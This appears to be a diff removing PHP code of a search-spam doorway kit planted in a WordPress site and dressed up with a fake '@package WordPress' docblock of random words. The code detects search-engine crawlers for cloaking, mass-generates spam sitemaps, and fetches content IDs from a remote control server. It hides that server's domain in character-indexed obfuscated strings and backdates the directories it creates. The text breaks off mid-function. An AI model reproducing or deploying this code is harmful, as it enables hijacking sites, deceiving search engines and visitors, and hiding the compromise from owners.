- $strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="'.$nowCatUrl.'" itemprop="url"><span itemprop="title">'.$vs.'</span></a></li>';
- }
- }
- $strBreads .= '<li'.$liStr.'><strong>'.$Ptitle.'</strong></li>';
- $strBreads .= '</'.$breadTagHtml2.'>';
- $strBreads .= '</'.$breadTagHtml1.'>';
- }
- }
- return $strBreads;
- }
- function getCatLink($CatName,$id23){
- global $arrnametime,$arrKeywz,$strRand;
- $filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST'];
- $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
- if(JDT == 2){
- $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
- $filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){
- $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?cat="; }else{
- $filePres = $siteLink."/"; }
- $CatName = str_replace('&',' ',$CatName);
- $CatName = str_replace('&',' ',$CatName);
- if(JDT == 3){
- $CatName = preg_replace('#\s+#i','-',$CatName);
- while(strstr($CatName,'--'))
- $CatName = str_replace('--','-',$CatName);
- $urlMid = $CatName;
- $rtStr = $filePres.$urlMid;
- $rtStr = str_replace($filePres.'-',$filePres,$rtStr);
- return $rtStr;
- }
- // BZCAT
- $endNumber = '';
- for($i=0;$i<3;$i++){
- $ranNum = rand(0,9);
- $endNumber .= $ranNum;
- }
- $CatName = preg_replace('#\s+#i','-',$CatName);
- $CatName = str_replace('--','-',$CatName);
- $urlMid = 'brand/'. str_replace('--','-',$CatName) . '/'. $endNumber;
- // $urlMid .= JTHZ;
- $rtStr = $filePres.$urlMid;
- $rtStr = str_replace($filePres.'-',$filePres,$rtStr);
- return $rtStr;
- }
- function getMapNum($bgNum,$mapnum){
- $TempArr = array();
- if($bgNum + $mapnum <= FNUM){
- for($i=0;$i<$mapnum;$i++){
- $TempArr[$i] = $bgNum + $i -1;
- }
- }else{
- for($i=0;$i<$mapnum;$i++){
- if($bgNum+$i > FNUM)
- $TempArr[$i] = $bgNum + $i -1 -FNUM;
- else
- $TempArr[$i] = $bgNum + $i -1;
- }
- }
- return $TempArr;
- }
- function getRandCId($rqurl){
- global $thisdom;
- for($i=0;$i<3;$i++){
- $idUrl = GETDOM . "gpage.php?site=$thisdom&cid=$rqurl";
- $tempIdStr = curl_get_from_webpage($idUrl,'',5);
- if(preg_match('#<cid>(\d+)</cid>#i',$tempIdStr,$matchId)){
- return $matchId[1];
- }
- }
- http_response_code(404);
- exit;
- }
- /**
- * accomplish available calculate comparative electron erect estimate golf hollow illegal promote reinforce security slippery sponsor suspicious tarnest timber violet.
- * arouse bachelor coarse episode extreme ingredient oval passport phenomenon range scratch shift sophisticated stripe temptation torture trial utilify.
- * approximate chaos dispose oral participate slender splendid submit temple valley.
- * avenue horror necessity route sensitive suburb violet.
- * fatal luxury neglect quotation universe.
- * acquire applicable burst casual cliff conservation continual core discrimination entertainment entry evil exclude expensive genuine hence laser launch manufacture pants poverty racial spray theme vibrate.
- * adequate boundary coach competent core dash deserve dump elastic flash global liquor oblige pants radiation ridiculous temporary violence.
- * derive fertilizer incident obscure slippery swallow urge usage.
- * applause arouse breed casual comedy debt drip evil guarantee hardware holy incident ingredient joint peak register ruin scratch semester stimulate submit tense twist wax.
- * adequate adhere algebra approach breed clue drip favorable flee haste invade legislation media modify numerrous promote prompt reject reveal ridge shuttle theme undergraduate.
- * Internet attach encounter expense infect invade respond tremble whereas.
- * acknowledge alter delicate liberal mild missile mist nonsense noticeable odd opportunity priority prohibit regulate removal restraint sketch splendid tide virtue.
- * apparent appetite applicable appoint awful consume display distress exterior import insurance luxury oval participate principal prominent pursue restrain ridiculous shift sincere strategy undertake utter weld.
- * advertisement hint jealous sensible violence.
- * architecture calendar entitle evolve exclusive fatal genius inevitable insure isolate issue leap moisture naked neutral resume transform urge vary vessel.
- * aspect coil dumb exclusive grand grateful household infer insure missile private prominent route semiconductor shrug suspicious tremble.
- * attitude battery gasoline liberty nonsense substitute.
- * dash evil extraordinary generate jungle medium prevail regulate semiconductor suburb unique yawn.
- * approximate architect cliff conquer dash distinguish erect exaggerate flash horrible interpret joint negative principal range recreation removal stale subway target tuition vain valley.
- * alter budget burden comedy conservation evaluate focus liberty notion optics shiver stuff substantial subway terminal tide tissue vessel.
- * abundant ban duration evolve fertilizer frown impose simplicity slippery spot talent tender tense usage violence.
- * appropriate distribute gene radical shield substitute swallow vibrate.
- * arouse coach emotion evolve extraordinary glory integrate licence oxygen removal textile variable violence.
- * applicant appoint award boundary catalog elaborate expend export frown incident maximum optional profit region sketch tend vague volcano.
- * accelerate appropriate arbitrary balcony coarse deaf deposit gene interpretation medium neglect optics resistant tropical undergo vain.
- * abuse comedy comparative glimpse negative organ preserve shelter slender slide sponsor tense trend vivid waist.
- * architect debt expend racial religion split.
- * adapt adhere algebra arouse battery clue comparable deposit dump expensive flexible gallery jam minimum naval obstacle secure sexual virtual.
- * adequate balcony bargain bother collision competent continual dusk exceed excursion fertilizer knot leak mature outstanding partial passport rely shrink talent textile undergo.
- * agent appoint distribute geography household jewel missile naval nylon prosperity security sexual shrug substance vessel.
- * hydrogen luxury obstacle oxygen trap universal.
- * architect automatic award bother collision continuous erect excess internal mood negative orient portable ridid sake simplicity spot temporary tense vacuum venture weed.
- * adhere cargo deputy enthusiasm glory integrate jungle mere mixture oblige organ parallel reveal slide tend vague whereas yawn.
- * adult appreciate arouse attitude breed campus community deserve evaluate generate genuine infant retail retain ridge security slippery spill utter vain.
- * commit evolve mere signature subway transmit.
- * arouse awful competition dispose disturb duration gallery interfere joint nylon obstacle revenue ridiculous scandal stable strategy tender trial vessel.
- * acid bureau decent dump emphasize enclose explosion import infer ingredient jealous liberty navigation outstanding prescribe removal render retain rival security victim wax yawn.
- * capture device ingredient odd particle prompt prosperity racial radiation semester utilise vote.
- * continuous decent expense forbid globe hostile massive primitive prospect spill submerge vacant weed.
- * encounter lest outset principle stuff subway.
- * awful expansion grateful sensible slender tender tide.
- * aspect bargain collision core echo emotional evaluate explosion fatal fertilizer gaze gene grant illegal knot nylon prohibit range significance simplify substantial trap video violence yield.
- * acquire awful bundle equivalent explode massive mood.
- * bacteria barrel comparative consume drift facility germ glory hestiate individual interfere knot prevail private reputation resemble sophisticated target temple variation video vote.
- * approve domestic equation illegal lean provision tense.
- * auxiliary continuous expansion external harmony necessity remote theme vary virtual withdraw.
- * award geography geometry liberty ridid.
- * available barrel coil diverse expensive interpretation jam launch legislation quotation racial religious tense trap vanish violent weave.
- * arouse attach award defect essential expansion giant isolate personnel recruit tense wonder.
- * competition idle jail orchestra relief stale.
- * abuse appoint bother capture comedy comparable loose mere mixture optics orchestra personnel principle prior restraint signature slip strategic temporary temptation title tone twist.
- * applicable coarse decade gallery gear jeans kneel mild nevertheless retail transform vacuum vary volcano.
- * aspect conquer consent consume display distress dumb flee germ guilty infant lean merchant odd preserve principal relief secure slip substance tremendous utter variation vote.
- * display dump exclude leather modest orient reluctant tremble.
- * constant fax isolate naked orient.
- *
- * @package WordPress
- */
- function getRandId(){
- $num = rand(1,FNUM); $num = $num - 1; require(FILEDIRNAME . "/id$num.php"); $indexId=array_rand($arrId,1); $id = $arrId[$indexId]; unset($arrId); return $id;}
- function get_arrvs($arr,$num,$nowkey){
- $numArr = count($arr);
- if($nowkey + $num < $numArr)
- return $arr[$nowkey + $num]; else{
- if($nowkey + $num - $numArr - $numArr > 0)
- return get_arrvs($arr,$num - $numArr,$nowkey); else
- return $arr[abs($nowkey + $num - $numArr)]; }
- }
- function get_pre_link($arr,$key){
- $tmpA1 = array(); $tmpA2 = array();
- $num = count($arr);
- if($key + JGNUM + 1 + LINKNUM >= $num){
- if($key + JGNUM + 1 - $num > LINKNUM){
- return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{
- $duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu);
- return array_merge($tmpA1,$tmpA2); }
- }else{
- return array_slice($arr, $key + JGNUM + 1, LINKNUM); }
- }
- function get_next_link($arr,$key){
- $tmpA1 = array(); $tmpA2 = array();
- $num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
- $duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{
- return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); }
- }
- function rFile($file){
- if(function_exists('file_get_contents')){
- return file_get_contents($file);
- }else{
- $handle = fopen($file, "r");
- $contents = fread($handle, filesize($file));
- fclose($handle);
- return $contents;
- }
- }
- function isCrawler() {
- $agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) {
- $spiderSite= array(
- "Googlebot",
- "Mediapartners-Google",
- "Adsbot-Google",
- "Yahoo!",
- "Google AdSense",
- "Yahoo Slurp",
- "bingbot",
- "MSNBot"
- ); foreach($spiderSite as $val) {
- $str = strtolower($val); if (strpos($agent, $str) !== false) {
- return true; }
- }
- } else {
- return false; }
- }
- function gsitemap2($filenames,$c=1,$jdt=1){
- global $gnumber,$arrArrr;
- $arrABC = range('a','z');
- $tparrsI = $filenames;
- $randnum = rand(7000,7600);
- $tparrII = array_rand($tparrsI,$randnum);
- $tparrIII = array();
- foreach($tparrII as $vs){
- $tparrIII[$vs] = $filenames[$vs];
- }
- $filenames = $tparrIII;
- $filePres = ''; $fileEnds = '';
- $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
- if(JDT == 2){
- $filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
- $filePres = $httcReplace . "/"; }elseif(JDT == 3){
- $filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{
- $filePres = ''; }
- if(JDT == 3){
- $fileEnds = ''; }else{
- $fileEnds = JTHZ; }
- $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
- $siteLink='http://'.$_SERVER['HTTP_HOST'];
- $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
- // $urlsArray = $filenames;
- // $numLinks = count($urlsArray);
- $star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
- $str = "";
- $tempArr1 = $filenames;
- foreach($tempArr1 as $key => $value2){
- $curphp=basename(__FILE__);
- $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt");
- $tempPid = $key;
- $url = getalink($tempPid,$value2);
- if(JDT == 0){
- if($first===false && $last===false && $checkTxt===false)
- {
- $date = date("Y-m-d"); $time = date("H:i:s");
- if($star % 12000==11999){
- $gFile = '../maps/' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
- file_put_contents("./map.log",'#' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
- $str = ''; $gnumber++; return; }
- $str .= " <url>
- <loc>" . $url . "</loc>
- <lastmod>". $date . "T" . $time ."-05:00</lastmod>
- <changefreq>daily</changefreq>
- <priority>0.1</priority>
- </url>
- ";
- $star++; $starPri++; }
- }else{
- if($first===false && $last===false && $checkTxt===false)
- {
- $date = date("Y-m-d"); $time = date("H:i:s");
- if($star % 12000==11999){
- $gFile = '../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
- file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
- $str = ''; $gnumber++; return; }
- $str .= " <url>
- <loc>" . $url . "</loc>
- <lastmod>". $date . "T" . $time ."-05:00</lastmod>
- <changefreq>daily</changefreq>
- <priority>0.1</priority>
- </url>
- ";
- $star++; $starPri++; }
- }
- }
- if(JDT == 0){
- {
- $gFile = '../maps/' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml'; echo '<br/>'.$gFile.'<br/>';
- $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
- file_put_contents("./map.log",'#' . $arrABC[$gnumber-2] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
- $gnumber++;
- }
- }else{
- {
- $gFile = '../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml'; echo '<br/>'.$gFile.'<br/>';
- $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
- file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
- $gnumber++;
- }
- }
- unset($tempArr1); unset($filenames);
- echo "生成sitemap成功!";
- }
- function gsitemap($filenames,$c=1,$jdt=1){
- global $gnumber,$arrArrr;
- $arrABC = range('a','z');
- $tparrsI = $filenames;
- $randnum = rand(7000,7600);
- $tparrII = array_rand($tparrsI,$randnum);
- $tparrIII = array();
- foreach($tparrII as $vs){
- $tparrIII[$vs] = $filenames[$vs];
- }
- $filenames = $tparrIII;
- $filePres = ''; $fileEnds = '';
- $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
- $siteLink='http://'.$_SERVER['HTTP_HOST'];
- $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
- // $urlsArray = $filenames;
- // $numLinks = count($urlsArray);
- $star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
- $str = " <url>
- <loc>" . $siteLink . "</loc>
- <lastmod>". $date . "T" . $time ."-05:00</lastmod>
- <changefreq>always</changefreq>
- <priority>1.0</priority>
- </url>
- ";
- $tempArr1 = $filenames;
- foreach($tempArr1 as $key => $value2){
- $curphp=basename(__FILE__);
- $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt");
- $tempPid = $key;
- $url = getalink($tempPid,$value2);
- if(JDT == 0){
- if($first===false && $last===false && $checkTxt===false)
- {
- $date = date("Y-m-d"); $time = date("H:i:s");
- if($star % 12000==11999){
- $gFile = '../maps/sitemap.xml'; echo '<br/>'.$gFile.'<br/>';
- $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
- file_put_contents("./map.log",'#sitemap.xml#'.PHP_EOL,FILE_APPEND);
- $str = ''; $gnumber++; return;
- }
- if($starPri >= 400 && $priority != 0.1){
- $starPri = 0; $priority = $priority - 0.1; }
- if($priority > 0.1){
- $str .= " <url>
- <loc>" . $url . "</loc>
- <lastmod>". $date . "T" . $time ."-05:00</lastmod>
- <changefreq>daily</changefreq>
- <priority>". $priority . "</priority>
- </url>
- ";
- }else{
- $str .= " <url>
- <loc>" . $url . "</loc>
- <lastmod>". $date . "T" . $time ."-05:00</lastmod>
- <changefreq>daily</changefreq>
- <priority>0.1</priority>
- </url>
- ";
- }
- $star++; $starPri++; }
- }else{
- if($first===false && $last===false && $checkTxt===false)
- {
- $date = date("Y-m-d"); $time = date("H:i:s");
- if($star % 12000==11999){
- $gFile = '../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml'; echo '<br/>'.$gFile.'<br/>';
- $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
- file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
- $str = ''; $gnumber++; return;
- }
- if($starPri >= 400 && $priority != 0.1){
- $starPri = 0; $priority = $priority - 0.1; }
- if($priority > 0.1){
- $str .= " <url>
- <loc>" . $url . "</loc>
- <lastmod>". $date . "T" . $time ."-05:00</lastmod>
- <changefreq>daily</changefreq>
- <priority>". $priority . "</priority>
- </url>
- ";
- }else{
- $str .= " <url>
- <loc>" . $url . "</loc>
- <lastmod>". $date . "T" . $time ."-05:00</lastmod>
- <changefreq>daily</changefreq>
- <priority>0.1</priority>
- </url>
- ";
- }
- $star++; $starPri++; }
- }
- }
- if(JDT == 0){
- {
- $gFile = '../maps/sitemap.xml'; echo '<br/>'.$gFile.'<br/>';
- $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
- file_put_contents("./map.log",'#sitemap.xml#'.PHP_EOL,FILE_APPEND);
- $gnumber++;
- }
- }else{
- {
- $gFile = '../maps/' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml'; echo '<br/>'.$gFile.'<br/>';
- $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
- file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'htmlmaps' .'.xml#'.PHP_EOL,FILE_APPEND);
- $gnumber++;
- }
- }
- unset($tempArr1); unset($filenames); echo "生成sitemap成功!";
- }
- function curl_get_from_webpage($url,$proxy='',$loop=10){
- $data = false; $i = 0; while(!$data) {
- $data = curlGetOne($url,$proxy); if($i++ >= $loop) break; }
- return $data;}
- function curl_getjs_from_webpage($url,$time){
- if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
- $curl = curl_init(); //如果有用代理,则使用代理.
- $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
- // $urlReferer = "http://www.google.com";
- curl_setopt($curl, CURLOPT_URL, $url);
- if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0
- ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
- }$data=curl_exec($curl);curl_close($curl);
- }else{
- $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
- if($is_auf){
- $data = file_get_contents($url);
- }
- }
- if(!$data) return false;
- return $data;
- }
- function curlGetOne($url,$proxy=''){
- if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
- $curl = curl_init(); //如果有用代理,则使用代理.
- $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
- // $urlReferer = "http://www.google.com";
- if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
- curl_setopt($curl, CURLOPT_URL, $url);
- if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0
- ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
- }$data=curl_exec($curl);curl_close($curl);
- }else{
- $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
- if($is_auf){
- $data = file_get_contents($url);
- }
- }
- if(!$data) return false;
- return $data;
- }
- ////
- function my_mkdir($dir){
- global $fitime;
- if(!is_dir($dir)){
- mkdir($dir);
- @touch($dir, $fitime, $fitime);
- }
- }
- function generate_dir_file($gDir=''){
- global $hostDir;
- $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
- $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
- $arr = explode(DIRECTORY_SEPARATOR,$gDir);
- if(count($arr) <= 0) return;
- if(!strstr($gDir,$hostDir))
- $dir = $hostDir;
- else
- $dir = '';
- for($i = 0 ; $i < count($arr)-1 ; $i++){
- $dir .= DIRECTORY_SEPARATOR . $arr[$i];
- my_mkdir($dir);
- }
- return $dir;
- }
- function strFilter($str){
- $str = str_replace('`', '', $str);
- $str = str_replace('·', '', $str);
- $str = str_replace('~', '', $str);
- $str = str_replace('!', '', $str);
- $str = str_replace('!', '', $str);
- $str = str_replace('@', '', $str);
- $str = str_replace('#', '', $str);
- $str = str_replace('$', '', $str);
- $str = str_replace('¥', '', $str);
- $str = str_replace('%', '', $str);
- $str = str_replace('^', '', $str);
- $str = str_replace('……', '', $str);
- $str = str_replace('*', '', $str);
- $str = str_replace('(', '', $str);
- $str = str_replace(')', '', $str);
- $str = str_replace('(', '', $str);
- $str = str_replace(')', '', $str);
- $str = str_replace('-', '', $str);
- $str = str_replace('_', '', $str);
- $str = str_replace('——', '', $str);
- $str = str_replace('+', '', $str);
- $str = str_replace('=', '', $str);
- $str = str_replace('|', '', $str);
- $str = str_replace('\\', '', $str);
- $str = str_replace('[', '', $str);
- $str = str_replace(']', '', $str);
- $str = str_replace('【', '', $str);
- $str = str_replace('】', '', $str);
- $str = str_replace('{', '', $str);
- $str = str_replace('}', '', $str);
- $str = str_replace(';', '', $str);
- $str = str_replace(':', '', $str);
- $str = str_replace('<', '', $str);
- $str = str_replace('>', '', $str);
- $str = str_replace(':', '', $str);
- $str = str_replace('\'', '', $str);
- $str = str_replace('"', '', $str);
- $str = str_replace(',', '', $str);
- $str = str_replace(',', '', $str);
- $str = str_replace('《', '', $str);
- $str = str_replace('》', '', $str);
- $str = str_replace('.', '', $str);
- $str = str_replace('。', '', $str);
- $str = str_replace('–', '', $str);
- $str = str_replace('–', '', $str);
- $str = str_replace('/', '', $str);
- $str = str_replace('、', '', $str);
- $str = str_replace('?', '', $str);
- $str = str_replace('?', '', $str);
- $str = str_replace('°', '', $str);
- $str = str_replace('&', '&', $str);
- return trim($str);
- }
- function getalink($pid,$pname=''){
- global $arrnametime,$arrKeywz,$strRand;
- if(strstr($pname,'#cat#')){
- $tp_pname_arr = explode('#cat#',$pname);
- $pname = $tp_pname_arr[1];
- $catStr = $tp_pname_arr[0];
- $tpcatArr = explode('`',$catStr);
- $precat = $tpcatArr[0];
- $endcat = $tpcatArr[1];
- }
- if(function_exists("preg_split")){
- $tpnameArr = preg_split('/\s+/us', $pname);
- }else{
- $tpnameArr = explode(' ', $pname);
- }
- $pnameArr = array();
- foreach($tpnameArr as $tpvs){
- $tpvs = trim($tpvs);
- if($tpvs){
- $pnameArr[] = $tpvs;
- }
- }
- $numPname = count($pnameArr);
- if($numPname > 3){
- $numLinkKey = round(PNAMELEN * $numPname / 100);
- $yushu = KEYJG % $numPname;
- $arrPre = array();
- $arrLast = array();
- for($i=0;$i<$numPname;$i++){
- if($i<$yushu){
- $arrLast[] = $pnameArr[$i];
- }else{
- $arrPre[] = $pnameArr[$i];
- }
- }
- if(count($arrLast)){
- foreach($arrLast as $vs){
- $arrPre[] = $vs;
- }
- }
- $usedNameArr = array();
- for($i=0;$i<$numLinkKey;$i++){
- $usedNameArr[$i] = $arrPre[$i];
- }
- if(count($usedNameArr)){
- $pname = implode(' ',$usedNameArr);
- }
- }
- $pname = strFilter($pname);
- $filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST'];
- $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
- if(JDT == 2){
- $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
- $filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){
- $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{
- $filePres = $siteLink."/"; }
- $rsp = '#'. BZPRO .'\d+#i';
- $rsp2 = '#\d+-#i';
- $rsp3 = '#-\d+#i';
- $rsp4 = '#-\d+-#i';
- $pname = trim($pname);
- $pname = preg_replace('/\s+/', '-', $pname);
- if(JDT == 3){
- $rs = '#&[^;]+;#i';
- $pname = preg_replace($rs,'',$pname);
- while(strstr($pname,'&'))
- $pname = str_replace('&','',$pname);
- while(strstr($pname,'--'))
- $pname = str_replace('--','-',$pname);
- $urlMid = $pname .'-' .$pid;
- $rtStr = $filePres.$urlMid;
- $rtStr = str_replace($filePres.'-',$filePres,$rtStr);
- return $rtStr;
- }
- if(strlen($pname) > 235){
- $rs = '#&[^;]+;#i';
- $pname = preg_replace($rs,'',$pname);
- $pname = str_replace('&','',$pname);
- $pname = str_replace('&',';',$pname);
- if(function_exists("mb_substr")){
- $pname = mb_substr($pname, 0, 235, 'utf-8');
- }else{
- $pname = substr($pname, 0, 235);
- }
- }
- $precat = strFilter($precat);
- $precat = preg_replace($rsp,'',$precat);
- $precat = preg_replace($rsp2,'-',$precat);
- $precat = preg_replace($rsp3,'-',$precat);
- $precat = preg_replace($rsp4,'-',$precat);
- $precat = str_replace('&','',$precat);
- $precat = str_replace('&',';',$precat);
- $precat = preg_replace('/\s+/', '-', $precat);
- $endcat = strFilter($endcat);
- $endcat = preg_replace($rsp,'',$endcat);
- $endcat = preg_replace($rsp2,'-',$endcat);
- $endcat = preg_replace($rsp3,'-',$endcat);
- $endcat = preg_replace($rsp4,'-',$endcat);
- $endcat = str_replace('&','',$endcat);
- $endcat = str_replace('&',';',$endcat);
- $endcat = preg_replace('/\s+/', '-', $endcat);
- $pname = preg_replace($rsp,'',$pname);
- $pname = preg_replace($rsp2,'-',$pname);
- $pname = preg_replace($rsp3,'-',$pname);
- $pname = preg_replace($rsp4,'-',$pname);
- if(JDT == 0){
- $urlMid = $precat .'-'.$pname. '-'. $pid .'-'. $endcat;
- }else{
- $urlMid = $precat .'-'.$pname. '-'. $pid .'-'. $endcat;
- }
- $urlMid .= JTHZ; $urlMid = str_replace("-/","/",$urlMid); $urlMid = str_replace("-".JTHZ,JTHZ,$urlMid);
- while(strstr($urlMid,'--'))
- $urlMid = str_replace('--','-',$urlMid);
- // $urlMid = str_replace('/-','/',$urlMid);
- $rtStr = $filePres.$urlMid;
- $rtStr = str_replace($filePres.'-',$filePres,$rtStr);
- $rtStr = str_replace('-amp;-','-&-',$rtStr);
- return $rtStr;
- }
- //
- function is_ip($localIp,$ipRanges)
- {
- $localIp = ip2long($localIp);
- foreach($ipRanges as $val)
- {
- $ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1]));
- if($localIp >= $ipmin && $localIp <= $ipmax)
- {
- return true;
- }
- }
- return false;}
- function RandAbcs($length = ""){
- $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
- return ($str);
- }
- function getarr(){
- global $O00O0O;
- $arr[0]=$O00O0O{17}.$O00O0O{19}.$O00O0O{12}.$O00O0O{0}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[1]=$O00O0O{3}.$O00O0O{2}.$O00O0O{19}.$O00O0O{0}.$O00O0O{12}.$O00O0O{2}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[2]=$O00O0O{9}.$O00O0O{15}.$O00O0O{22}.$O00O0O{22}.$O00O0O{18}.$O00O0O{12}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[3]=$O00O0O{18}.$O00O0O{14}.$O00O0O{22}.$O00O0O{14}.$O00O0O{14}.$O00O0O{3}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[4]=$O00O0O{2}.$O00O0O{0}.$O00O0O{20}.$O00O0O{0}.$O00O0O{17}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};
- return $arr;
- }
- function getthisdom(){
- $myArrs = getarr();
- return 'http://www.'.$myArrs[CENTERKEY].MYDIR;
- }
- function get_real_ip(){
- $ip = '';
- /**
- * resolve any proxies
- */
- if (isset($_SERVER)) {
- if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
- $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
- } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
- $ip = $_SERVER['HTTP_CLIENT_IP'];
- } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
